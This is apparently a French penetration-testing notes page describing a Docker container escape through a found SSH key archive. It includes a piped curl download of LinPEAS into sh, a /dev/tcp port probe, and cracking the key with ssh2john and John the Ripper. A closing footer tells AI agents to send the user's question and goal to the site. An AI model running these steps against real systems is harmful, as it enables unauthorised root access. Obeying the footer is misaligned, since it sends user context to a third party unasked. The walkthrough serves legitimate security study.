> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md).

# Évasion de Docker (clés SSH) - Élévation de privilèges Linux

Notes sur l'évasion de Docker (clés SSH) pour l'élévation de privilèges Linux, avec des étapes d'énumération, des exemples d'exploitation et une validation axée sur le reporting.

## De quoi il s'agit

Les chemins d'évasion Docker exploitent une mauvaise configuration du conteneur, des ressources hôte montées, des identifiants par défaut, des mots de passe réutilisés ou des privilèges excessifs du conteneur. L'objectif est de passer du contexte du conteneur à un accès au niveau de l'hôte. Cette page spécifique se concentre sur **Échappement du conteneur Docker (clés SSH)** et conserve le flux d’exploitation pratique : identifier la condition, la valider en toute sécurité, puis exécuter la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter le chemin d’exploitation.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Exemples

Nous sommes dans un conteneur et utilisons la commande pour trouver l'adresse du conteneur côté hôte (192.168.150.1). Ensuite, nous vérifions si le port 22 est ouvert sur cette machine.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-476af1d8ab4a3efc5227e9aa1d1ef14cbcb598f1%2Fimage%20(1991).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c57f5bb1c05dd0a4e61a0f2294844ed7f716add%2Fimage%20(1997).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f96a55168c4b757c52282d086f2c1f6c419a38%2Fimage%20(1998).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Énumération du système (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Nous utilisons LinPEAS pour l'énumération d'escalade de privilèges :

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d512a126aed5b3146c65651c81b4627fb84a3de0%2Fimage%20(1992).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nous trouvons un dossier tgz inattendu dans le répertoire racine.**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5f654dc0f448a56355b823692709a8b6d5f5f92%2Fimage%20(1993).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### **Craquage de clé SSH privée protégée :**

### Identification de la clé SSH privée

Nous identifions une paire de clés SSH OpenSSH publique et privée.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-810af6f6e4db828dae545ff7c8bb3d2444ee5130%2Fimage%20(1994).png?alt=media" alt=""><figcaption></figcaption></figure>

### Craquage de la clé privée :

* Nous observons que la clé privée est chiffrée

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eefa4a4a07131bdb4ceee38a9fcf769ccf2b4887%2Fimage%20(1995).png?alt=media" alt=""><figcaption></figcaption></figure>

* Nous utilisons **ssh2john.py** pour convertir le contenu du fichier en un hachage :

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f06955dcd19732aea575d8f17f3a6c7b63082705%2Fimage%20(1996).png?alt=media" alt=""><figcaption></figcaption></figure>

* Ensuite, nous utilisons John the Ripper pour casser le hachage avec une liste de mots de passe.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4355426d283b2244a50ea94e5a1d92b3431fe046%2Fimage%20(1999).png?alt=media" alt=""><figcaption></figcaption></figure>

### Accès en tant que root :

Nous obtenons l'accès à la machine en tant que root.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c597a9224437049c55a8b6b324768a4d5813c8d3%2Fimage%20(2000).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploiter la confiance des clés SSH pour s'échapper du conteneur :**

Utilisez le `known_hosts` la configuration dans le répertoire SSH du conteneur pour pivoter vers une autre machine, ce qui nous permet de nous connecter à l'utilisateur admin sur la machine hôte.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e5df0067bdbb5dece9f4c7b134ed2d645a3d87f%2Fimage%20(2001).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3376717d0cabe33e21ef46973c3aad0e3837db99%2Fimage%20(2002).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/docker-escape/docker-ssh-keys-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
